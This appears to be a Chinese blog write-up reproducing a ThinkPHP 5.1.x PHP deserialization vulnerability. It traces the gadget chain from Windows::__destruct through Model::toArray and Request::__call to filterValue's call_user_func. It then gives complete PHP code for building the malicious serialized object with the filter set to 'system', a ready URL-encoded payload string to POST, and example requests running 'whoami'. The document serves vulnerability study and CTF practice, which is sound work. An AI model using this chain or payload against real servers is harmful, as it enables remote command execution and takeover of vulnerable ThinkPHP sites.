Thinkphp5.1.x反序列化漏洞复现

漏洞分析


漏洞的起点为/thinkphp/library/think/process/pipes/Windows.php__destruct()

public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

__destruct 调用了两个函数,close() 函数没有可利用的,跟进 removeFiles(),里面有一个任意文件删除unlink,当然对rce没啥帮助。

private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

file_exists会将$filename当作字符串处理。

而__toString 当一个对象被当做字符串处理时会被触发,我们通过传入一个对象来触发__toString 方法。所以全局搜索可以利用的__toString方法。

全局搜索下,选择了 Conversion.php 中的 __toString 魔术方法。

public function __toString() //trait Conversion类
    {
        return $this->toJson();
    }

跟进 toJson 函数。

public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }

继续跟进 toArray 函数。

public function toArray()
    {
        $item       = [];
        $hasVisible = false;
        ......
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                        //$relation可控,$name通过this->append也可控,
                        //visible方法名无所谓,不存在的话,可以触发__call
                            $relation->visible($name);
                        }
                    } 
         .......
    }

toArray 函数里找到一个满足$可控变量->方法(可控参数)的点,其中 $relation 通过 getRelationgetAttr 是可控的。

接下来跟进 getRelation 函数。

public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }

要返回空才能使得在 toArray 中往下执行 $relation = $this->getAttr($key);,所以这边可以不用理。

继续跟进 getAttr

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name); //return value给$relation
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
        ......
   }

继续跟进 getData

 public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];	//$this->data[$name]返回给value再返回给$relation
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }

因为 这边的 getData 里的 nametoArray 里的 $this->append 键名,而 $this->append 又不能为空,所以 getData 的第一个 if 触发不了。

阶段小结:

removeFiles  =》 file_exists
__toString =》toJson =》toArray($relation->visible($name))其中relation 和 name 可控

relation  =》$this->getAttr($key) =》$this->getData($name) =》$this->data[$name]
$key 为 $this->append 的键名。
$this->data 可控。

$relation 为对象时就可以调用方法并传参了,但是要用到不同类中的不同方法,所以这版就涉及到 php 的一个小知识点 Trait,所以我们要找一个继承了用到的所有方法的类的一个类。

自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。

__toString	trait Conversion
getRelation	trait RelationShip
getAttr		trait Attribute
getData		trait Attribute

最后在 Model.php 中找到符合条件的类,不过这个类是抽象类,还要找它的子类去实现它.

abstract class Model implements \JsonSerializable, \ArrayAccess
{
    use model\concern\Attribute;
    use model\concern\RelationShip;
    use model\concern\ModelEvent;
    use model\concern\TimeStamp;
    use model\concern\Conversion;
    .......
}

Pivot.phpPivot 类实现了 model

class Pivot extends Model
{
	........
}

代码执行点分析


上面说到 $relation->visible($name) 我们可以控制 relationname ,所以接下来要找一个可以利用的类。

全局搜索 visible 没有可以利用的点,那么只能利用 __call 函数了。

所以我们要找一个类,这个类不能有 visiable ,但要有 __call


全局搜索,Request.php 中的 __call 虽然可以利用,但是无法直接利用,
hook['visiable'=>' 可利用的方法'] , arg[$this, 'toArray的name']其中 arg 因为 $this 变得不可控

public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {//检查hook是否是method数组的键名
            array_unshift($args, $this);//把this插入到args数组的开头,arg=[$this,$name]    
            //这边的arg是数组,且因为array_unshift的存在导致我们无法rce
            return call_user_func_array($this->hook[$method], $args);
        }
        throw new Exception('method not exists:' . static::class . '->' . $method);
    }

ThinkphpRequest 类中还有一个功能 filter 功能,实际上 Thinkphp 的一些 rce 都与这个功能有关,可以试着覆盖 filter 的方法去 rce。

filterValue 函数中有 call_user_funcrce 的函数,但是 value 不可控。

private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                
                //这边的value不可控,要找可以控制value的点,利用input函数
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }

        return $value;
    }

找调用 filterValue 的函数,input函数

public function input($data = [], $name = '', $default = null, $filter = '')
    {
        //name通过isAjax控制$this->config['var_ajax'],也就是控制了param的name,也就控制了input的name
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }
			//getData($data)里的data参数是param里的this->param,也就是get和post所有参数	
            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);//调用了filterValue但是参数不可控
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }

        return $data;
    }

这边用了 array_walk_recursive 回调函数调用了 filterValue ,但是参数依然不可控。

array_walk_recursive解析:


$arr = array('a' => 'apple', 'b' => 'banana', 'c' => array('c1' => 'green orange', 'c2' => 'yello orange'));

function aaa($v, $k, $udata) {
    echo $udata .' '. $v .' '.$k. '
'
; } array_walk_recursive($arr, aaa, 'I like');

从输出中可以看出参数的赋值是有顺序的,键值是第一个参数,键名是第二个参数,而自己定义的则是第三个。

I like apple a<br>I like banana b<br>I like green orange c1<br>I like yello orange c2<br>

再找找什么函数调用了 input 且可控变量的,param函数。

public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) {
            $method = $this->method(true);

            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
      		
      		//这边的data可控,也就是this->param数组和file数组的总,但file可以为空,所以只剩this->param
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

$this->param 完全可控,接收 get 参数,也就是说 input 函数的 data 可控 ,也就是 call_user_funcvalue 可控。现在还有一个 name 参数 不可控,继续找调用 param 的函数。

isAjax 函数中,$this->config['var_ajax'])是可控的,那么 paramname 就是可控的,也就是 inputname 参数可控。

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

那么 isAjax 也就是链的开始了,到这我们再阶段小结一下。

isAjax 的 $this->config['var_ajax'] 控制了 param函数的 name,也间接控制了 input 的 name。
param 的 $this->param可控,也就是 input 函数的 `data` 可控 ,也就是 `call_user_func``value` 可控。

接下来继续看 input 函数,因为还有个参数 $filter 也就是 call_user_func($filter, $value);filter 参数没控制。

跟进 getData 函数

protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }

        return $data;
    }

跟进 getFilter 函数

protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }

$filter = $this->filter,也就是 call_user_func$filter,我们要定义 $filter 为可以 rce 的函数名。

到这我们就可以知道,filterValue.valueparam$this->param,也就是第一个 get 参数,而 filters.filters 就等于 input.filters 的值。

构造payload:

windows 类中的 removeFiles 里需要一个 file 数组,数组中是继承了各个类的model类的子类,又因为Pivot类和Windows类不在同一个空间里,所以要use一下。

namespace think\process\pipes;
use think\model\Pivot;
class Windows{
    private $files = [];
    public function __construct(){
        $this->files=[new Pivot()];
    }
}

接着就是 Pivot 和 Model 类

namespace think\model;
use think\Model;

class Pivot extends Model{

}

this->datagetData 函数的 $this->data[$name];,而 $nametoArray 函数里 this->append 数组的键名,所以data 数组的键名才要和 append 一样,而 append 键值要为 request 类中不存在的方法,这样才会自动调用 requests 类的 __call 函数,也就完成了 $relation->visible($name); 的利用。

namespace think;
abstract class Model{
    protected $append=[];
    private $data=[];
    public function __construct(){
        $this->append=["shell"=>['call']];
        $this->data=["shell"=>new Request()];
     }
}

最后就是 Request 类,hook 使回调函数调用 isAjax,然后往前推,推到 param 时会把 this->param(接收第一个get值) 也就是 filterValue 里的 value 传给 input,到 input 时,filter 通过 getFilter 函数 传给 input 函数的 filter,最后传给 filterValuefilter,这样最后到 filterValue 就会执行 call_user_func('system','get')

namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $config;
    public function __construct(){
        $this->hook['visible'] = [$this, 'isAjax'];
        $this->filter = "system";
    }
}

namespace think;
abstract class Model{
    protected $append=[];
    private $data=[];
    public function __construct(){
        $this->append=["shell"=>['call']];
        $this->data=["shell"=>new Request()];
     }
}

namespace think\model;
use think\Model;

class Pivot extends Model{

}

namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $config = [
    // 表单请求类型伪装变量
    'var_method'       => '_method',
    // 表单ajax伪装变量
    'var_ajax'         => '_ajax',
    // 表单pjax伪装变量
    'var_pjax'         => '_pjax',
    // PATHINFO变量名 用于兼容模式
    'var_pathinfo'     => 's',
    // 兼容PATH_INFO获取
    'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
    // 默认全局过滤方法 用逗号分隔多个
    'default_filter'   => '',
    // 域名根,如thinkphp.cn
    'url_domain_root'  => '',
    // HTTPS代理标识
    'https_agent_name' => '',
    // IP代理获取标识
    'http_agent_ip'    => 'HTTP_X_REAL_IP',
    // URL伪静态后缀
    'url_html_suffix'  => 'html',
    ];
    public function __construct(){
        $this->config = ["var_ajax"=>''];
        $this->hook['visible'] = [$this, 'isAjax'];
        $this->filter = "system";
    }
}

namespace think\process\pipes;
use think\model\Pivot;
 
class Windows{
    private $files = [];
    public function __construct(){
        $this->files=[new Pivot()];
    }
}
echo urlencode(serialize(new Windows()));

如果没有入口文件,那要先构造一个入口文件。

第一个请求路由为application\index\controller\index.php文件->Index类->hello()方法,别名pathinfo()形式路由,第二个请求利用了 thinkphp 的兼容模式url

http://ip/public/index.php/index/Index/hello?a=whoami
http://ip/public/index.php?s=index/index/hello&a=whoami

post:
str=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22shell%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A4%3A%22call%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22shell%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A8%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3BN%3B%7D%7D%7D%7D%7D

参考

https://blog.csdn.net/weixin_45794666/article/details/123222190
https://github.com/Jason1314Zhang/BUUCTF-WP/blob/main/N1BOOK/%5B%E7%AC%AC%E4%B8%89%E7%AB%A0%20web%E8%BF%9B%E9%98%B6%5Dthinkphp%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE.md

你可能感兴趣的:(Thinkphp漏洞复现,Thinkphp5.1.x,反序列化)